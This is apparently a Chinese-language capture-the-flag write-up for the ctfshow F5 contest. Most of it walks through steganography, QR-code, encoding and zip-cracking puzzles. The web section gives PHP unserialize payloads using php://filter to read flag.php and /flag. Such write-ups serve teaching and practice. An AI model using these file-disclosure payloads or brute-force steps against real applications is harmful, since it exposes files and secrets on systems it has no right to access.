本文共4370字,147段落,全文看完预计用时10分钟
这次F5杯的misc难度感觉比大吉杯难了许多,出题人的脑洞太大了
在这里感谢各位大师傅群里的随缘hint(水群大胜利)
写的非常详细,可以跟着实际操作,所以最后不会贴上静态flag
web
eazy-unserialize &eazy-unserialize-revenge
misc
大小二维码
填字游戏
牛年大吉3.0
两行代码一纸情书
F5也会LSB
F5还会学中文
GoodNight
WEB:
前半部分估计是某个登录页面的执行代码,为干扰项,重点在后半部分
payload:?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}
读取到PD9waHANCiFkZWZpbmVkKCdIYXBweScpICYmIGV4aXQoJ0FjY2VzcyBEZW5pZWQnKTsNCmVjaG8gZmlsZV9nZXRfY29udGVudHMoIi9mbGFnIik7DQoNCj8+
进行base64
flag在/flag下,修改一下payload
?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:5:"/flag";}
好像这个payload被修了,那就和之前读flag.php一样用php协议读取
payload:?w_a_n=O:5:“Happy”:1:{s:4:“file”;s:54:“php://filter/read=convert.base64-encode/resource=/flag”;}
八神师傅的创意题,脑洞也还是大
首先得到一张超大的二维码,用手机QQ扫码只能显示部分,但是开头是7z。猜测是将7z压缩包数据写进了二维码,
使用barcode扫码将十六进制数据复制下来
https://online-barcode-reader.inliteresearch.com/
将全部复制下来,只保留十六进制信息,然后使用winhex写入,保存为7z文件。
解压得到35个小二维码
使用PS把小二维码放大,得到
首先扫几张码,发现只有一张二维码内容是“nothing here~”,其他都为乱码
再次观察可以发现,所有的数据区和效验区都是一样的,唯一不相同的就是每个定位点旁边的掩码类型。
首先使用QRazyBo扫第一张二维码,查看他的Mask Pattern
https://merricx.github.io/qrazybox/
可以发现纠错等级都是L,但是显示掩码类型都为3,所以在这里生成一张不含任何信息的二维码,再去点击蓝色区域
将纠错等级调为1,寻找掩码等级与刚刚那张图一样的
发现1与刚刚左上角的一样
再对比右上,发现4和之前的一样
所以这里手动将35张图全部手动对比下来,得到一串0-7的数字,猜想是8进制,并且3位为一组并转为ascii,写个python脚本进行进制转换
import re
flag = ''
n = 0
p = input('input a octal number:\n')
arr = re.findall(r'.{3}', p)
try:
for i in arr:
print(chr(int(i,8)))
flag += chr(int(i,8))
except:
print("字符串中包含不能每3位进行转换的数字")
print(flag)
1.a(n) = n*(n^2+1)/2
2.Number of balls in pyramid with base either aregular hexagon or a hexagon with alternate sides differing by 1
3.Initial members of prime sextuplets (p, p+4, p+6,p+10, p+12,p+16)
4.Primes p such that neither p-2 nor p+2 is prime
5.Smith (or joke) numbers
6.the number of distinct reduced words of length n in the Coxeter group of “Apollonian reflections” in three dimensions
7.Hyperfactorials
8.Number of factorization patterns of polynomials of degree n over integers
9.Initial members of prime triples(p,p+4,p+6)
这里随便拿两个来举例
首先拿第二个
因为是纯英文,就不用想百度了,直接上google。
根据2那一列,可以发现需要第7位填入,第7位即69(后面的以此类推)
在此平台继续搜,特别注意,第一个也要在这个平台搜,不要自己代值进去,因为代值进去应该都不会想到先代数字0…
得到65
将所有的整理下来,全部用ascii进行转换,得到并包上ctfshow{}提交
是i_kei神的题,果然3.0难度倍增,套娃纯度也增加了
首先看hint
hint1:有耳就行
hint2:有眼就行
下载附件得到一张ppt
能听到动听的《春节序曲》,结合有耳就行,应该需要提取下来
看完ppt,能够发现最后藏有信息,将字体颜色改为红色
得到Y3Rmc2hvd25i,解码得到ctfshownb,但是解码没用,这里被misc神给坑了一波。
kali下用binwalk进行分解,把mp3拿到mp3stego去解密,密码为Y3Rmc2hvd25i,得到8208208820
然后刚刚binwalk还分离出了熟悉的图片,这里看两张图片,能明显发现大小不一样但是差异很小,并且这里给了秘钥,0通道没有LSB痕迹就排除了,麻了很久,这里使用的是OurSecret
两张都提取出来,发现大小也不相同,Demo.png略微比Demo7.png大,所以考虑盲水印。
我目前只下载了两种
chishaxie/BlindWaterMark 是错的
linyacool /blind-watermark python3是错的
这里需要使用 linyacool /blind-watermark python2
得到
想要提交发现长度好像太长了,进行base58解码,得到flag
下载dll附件,使用notepad++打开,直接搜ctf,发现一长串类似编码,复制下来进行base64解码,发现无乱码,一直向下解,得到flag
压缩包显示6long,爆破得到密码114514(恶臭),解压得到
结合LSB,以2.png为例,发现LSB有2字节长的数字信息,再查看图片1(即10.png),发现为504B030414,为ZIP文件头,所有信息提取出来
504B03041400010000007C4C4D524A0409E41D0000001100000008000000666C61672E747874268FDB736D3D74D7654C946555EF139A56337B2E90EE9D79DE3A0632B2504B01023F001400010000007C4C4D524A0409E41D00000011000000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800CBE6AA92A801D701F7A65B93A801D701A0FCEAE4A501D701504B050600000000010001005A000000430000000000
得到zip包,发现有密码,再进行爆破,密码为7775,解压打开txt
BGR bit Planes 21
再去查看10.png的BGR 2 1通道
全部提取组合得到flag
下载附件解压,得到 F5.jpg 和 flag.zip,flag.zip 需要密码,将 F5.jpg 放入 010 查看JPG结束后的"文件头"和文件尾
发现有PK字迹,所以需要修复zip包即00 00 00 00->50 4B 03 04,并且将09改为00
很明显的Ook!
ctfshow—>Ook F—>. 5—>! 杯—>?
得到F5’s password is f5alsogood
解压flag.zip发现错误,结合F5 pswd和jpg,可以猜测F5隐写。
F5隐写发现报错,原因是图片末尾有zip痕迹,将zip痕迹删掉只保留jpg,再提取,得到Every0neL0veBeF5
解压得到最难的部分,因为尝试GB2312编码,BIG5编码,GBK编码,GB18030编码,Unicode编码都是无解的
根据群里的随缘hint,和题目hint1:最后一步是转ascii
GB2312-80,前两位为x码,后两位为x码
直接搜“汉字GB2312-80”
百度搜一个区位码批量查询
http://www.jscj.net/index/gb2312.php
将空格去掉(注意最后一个数字后面的空格也要去掉)
得到的数字转16进制,再转字符,得到flag
Hint1:题目的附件名字很重要
Hint2:flag的内容要转为md5
又是套娃呜呜呜难死了
首先GoodNight很重要,估计是某种加密的密码,最后发现还是OurSecret
提取出来Secert1.rt1,查看文件头,发现BP,考点是BPG,可以查到bpg文件头是425047FB, B190是文件尾,4250后面添加上的47FB,然后搜索B190,这里在第2个B190处截断,因为后面有6050B405,是反过来的504B0304
然后改文件后缀,用Simple BPG image viewer打开,得到
解码得到fake flag…
再查看文件尾,将刚刚发现的zip提取出来
504B0304,所以需要将十六进制数进行逆转
http://tool.huixiang360.com/str/reverse.php
转完后再放入winhex
对比正常的zip:
可以发现就少了前面的504B03041400,补上并保存
需要密码(可恶),这里我用的rockyou进行爆破
得到密码qwerty,解压得到
winhex查看
需要将右边的数字导入winhex
然后放进kali能够识别出是个流量包,所以补上后缀pcapng
打开后发现是一段英语对话文本
首先想是把长度提取出来转ascii,但是发现有不可打印字符长度,就放弃了这个思路。这道题的考点是TCP隐写
将所有的字符给提取出来,注意有重复字符,因舍弃。
然后进行base转码,只可能是base64以上的,最后发现base91成功转码
https://ctf.bugku.com/tool/base91
本文完